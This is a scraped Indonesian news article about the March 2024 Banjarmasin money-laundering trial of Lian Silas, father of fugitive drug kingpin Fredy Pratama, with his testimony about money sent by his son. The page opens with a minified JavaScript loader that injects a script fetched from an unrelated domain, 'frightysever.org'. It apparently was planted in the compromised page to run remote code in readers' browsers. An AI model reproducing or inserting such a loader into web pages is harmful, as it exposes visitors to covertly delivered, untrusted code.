(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Perkara kasus Tindak Pidana Pencucian Uang (TPPU) gembong narkoba Fredy Pratama dengan terdakwa Lian Silas kembali bergulir di Pengadilan Negeri Banjarmasin, Selasa (19/3/2024) siang. Setelah melalui tahapan panjang persidangan, ayah dari buron gembong narkoba itu kini diperiksa sebagai terdakwa.
Sidang agenda pemeriksaan terdakwa digelar setelah pembuktian yang dilakukan tim jaksa penuntut umum dengan menghadirkan saksi-saksi selesai, termasuk kesempatan penasehat hukum terdakwa melakukan pembuktian terbalik di persidangan telah diberikan.
Didampingi penasehat hukum, Erna, terdakwa Lian Silas hadir dalam persidangan setelah dijemput dari Lembaga Pemasyarakatan (Lapas) Kelas IIA Teluk Dalam Banjarmasin.
Pada sidang pemeriksaan terdakwa, Lian Silas tak mengelak jika dirinya pernah menerima kiriman uang yang bersumber dari anaknya, Fredy Pratama.
Baca juga: Korupsi Proyek Jamban Desa, Mantan Kades Diganjar 21 Bulan Penjara
Kiriman uang diakuinya mulai masuk ke rekeningnya pada tahun 2013. Sementara uang yang masuk tidak dikirim langsung oleh Fredy Pratama, melainkan melalui orang kepercayaan atau kaki tangan Miming alias Fredy Pratama.
Meski demikian, Lian Silas berkilah uang kiriman tersebut hanyalah pemberian antara anak dan orangtua dan tanpa diminta oleh dirinya.“Sepengetahuan saya pemberian anak (Fredy). Saya tidak minta, tapi anak saya memberi ke saya,” sebutnya saat ditanya JPU terkait uang kiriman dari Fredy Pratama.
Di sidang pemeriksaan terdakwa, Lian Silas mengakui jika anaknya tersebut telah lama menghilang dari Kalimantan Selatan (Kalsel). Dan ia mengaku tak pernah bertemu Fredy Pratama lagi sejak tahun 2009.“2009 dia (Fredy Pratama) sudah hilang dari Banjar, dimana rimbanya saya tidak tahu,” akunya.
Baca juga: Bantuan Terus Mengalir untuk Korban Kebakaran di Cempaka
Meski tak pernah bertemu lagi, Lian Silas mengaku beberapa kali pernah melakukan komunikasi dengan Fredy Pratama, namun hanya melalui sambungan telepon.
Sebelum pemeriksaan terdakwa, sidang yang digelar Selasa (19/3/2024) sempat diperiksa seorang saksi a de charge bernama Venny Yulian yang dihadirkan tim penasehat hukum terdakwa Lian Silas. Saksi meringankan yang dihadirkan tersebut belakangan adalah adik kandung Lian Silas.
Setelah proses pembuktian dan pemeriksaan terdakwa selesai, perkara TPPU narkotika Lian Silas akan segera memasuki mendengarkan tuntutan jaksa penuntut umum Kejari Banjarmasin.
Baca juga: Pasar Murah Kalteng Berkah Empat Kecamatan di Kapuas
Sementara majelis hakim yang diketuai Jamser Simajuntak dan dua hakim anggota memberikan waktu selama sepekan untuk jaksa penuntut umum menyusun tuntutan terdakwa Lian Silas dan dibacakan dimuka persidangan.“Sidang ditunda dan akan digelarnya kembali pada hari Selasa tanggal 26 Maret 2024 dengan agenda tuntutan dari penuntut umum,” sebut majelis hakim. (Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : bie
KANALKALIMANTAN.COM, MARTAPURA - Debat publik kedua calon bupati dan wakil bupati Kabupaten Banjar yang digelar… Read More
KANALKALIMANTAN.COM, AMUNTAI - Ratusan ASN di lingkungan Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) mengikuti… Read More
KANALKALIMANTAN. COM, PARINGIN - Komisi Pemilihan Umum (KPU) Kabupaten Balangan menggelar debat terbuka kedua pasangan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Suasana di kantor Bawaslu Provinsi Kalsel pada Jumat (22/11/2024) siang terpantau seperti… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemko Banjarbaru menyelenggarakan acara penyerahan SK kenaikan pangkat PNS periode 1 Desember… Read More
KANALKALIMANTAN.COM, JAKARTA - Tim penyidik Komisi Pemberantasan Korupsi (KPK) menjadwalkan pemanggilan terhadap mantan Gubernur Kalimantan… Read More
This website uses cookies.